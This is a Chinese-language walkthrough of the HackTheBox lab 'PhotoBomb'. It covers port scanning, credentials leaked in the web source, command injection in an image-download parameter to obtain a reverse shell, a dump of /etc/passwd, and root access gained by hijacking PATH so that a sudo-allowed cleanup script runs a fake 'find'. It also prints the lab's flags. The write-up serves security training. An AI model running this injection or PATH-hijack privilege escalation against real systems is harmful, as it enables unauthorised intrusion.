信息收集
端口扫描
扫太慢了,就少扫点东西
sudo nmap -sV -p- —min-rate 1000 10.10.11.182
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
漏洞初探
sudo nmap —script=vuln -p80, 10.10.11.182
目录扫描
这里web端口上不去,自动跳转到了photobomb.htb 那么修改/etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1
6ff02::2 ip6-allrouters
10.10.11.182 photobomb.htb
扫太慢了.先看看端口.
漏洞探测
fuzz命令注入
这里看到了要用pH0t0登陆.上面Init泄露了账户密码.尝试ssh登陆失败 pH0t0:b0Mb!
登陆成功之后,存在一个文件下载.抓个包看看能不能任意文件下载.
抓包修改photo名会出现invaildphoto. 通过测试发现,这里的filetype存在命令注入口.(看wp)
这里注意在filetype中要用+号代替空格. 通过这个命令注入可以拿到一个初级的shell。 这个网站可以生成很多类型的shell。生成一个python的shell. https://www.revshells.com/
提权
提权准备
$ls
log ls ls-0 photobomb.sh public resized_images server.rb source_images
$ whoami
wizard
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
wizard:x:1000:1000:wizard:/home/wizard:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
$ ls ../ -al
total 44
drwxr-xr-x 7 wizard wizard 4096 Sep 16 15:14 .
drwxr-xr-x 3 root root 4096 Sep 16 15:14 ..
lrwxrwxrwx 1 wizard wizard 9 Mar 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 wizard wizard 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 wizard wizard 3771 Feb 25 2020 .bashrc
drwx------ 2 wizard wizard 4096 Sep 16 15:14 .cache
drwxrwxr-x 4 wizard wizard 4096 Sep 16 15:14 .gem
drwx------ 3 wizard wizard 4096 Feb 7 06:41 .gnupg
drwxrwxr-x 3 wizard wizard 4096 Sep 16 15:14 .local
drwxrwxr-x 6 wizard wizard 4096 Feb 7 13:08 photobomb
-rw-r--r-- 1 wizard wizard 807 Feb 25 2020 .profile
-rw-r----- 1 root wizard 33 Feb 7 06:16 user.txt
$ cat ../user.txt
3921ec1383034b149941db11f1a5c4fd
这个应该就是ssh的密码.发现不对.这个居然是flag.
sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
允许我们使用/opt/cleanup.sh
$cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} ;
最后一行的意思.查找source_images下的所有为.jpg的文件,并为他们赋权为root。 对find命令做一个解读
find path -option [ -print ] [ -exec -ok command ] {} ;
path:路径
-type: -type c 表示文件类型是c的文件 -type f 表示文件类型是f的文件
-name:文件名.
-exec {} :执行命令
然后我们理解一下这里.这里find命令使用的是相对路径.前面的cat,truncate都是使用的绝对路径. 假如我们在当前目录下创建一个新的find文件,并在里面假如/bin/bash。 因为现在我们可以用root权限执行这里的cleanup.sh cleanup.sh又调用了find. find调用了/bin/bash. 那么就相当于我们可以用find开启一个/bin/bash。且这个用户是root权限.
环境变量提权
echo "/bin/bash" > find
chmod +x find
sudo PATH=$PWD:$PATH /opt/cleanup.sh
这样子就会在当前目录下执行find命令,这个find命令又是root执行的/bin/bash。从而达到提权效果
cat /root/root.txt
0392ed6951c6797a1f843efd8097aca5
总结
首先通过端口扫描得知开放了80和22两个端口.然后在80端口中通过源码中的一些泄露得到了一个可以登陆的账户. 然后通过对参数的测试找到了命令注入,通过命令注入拿到了一个初级的shell. 最后在sudo -l下发现了当前用户可以用root执行cleanup.sh 而在cleanup.sh中又存在一个环境变量提权的漏洞.进而通过该漏洞获得了root权限
原文始发于微信公众号(靶机狂魔):靶机-PhotoBomb
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论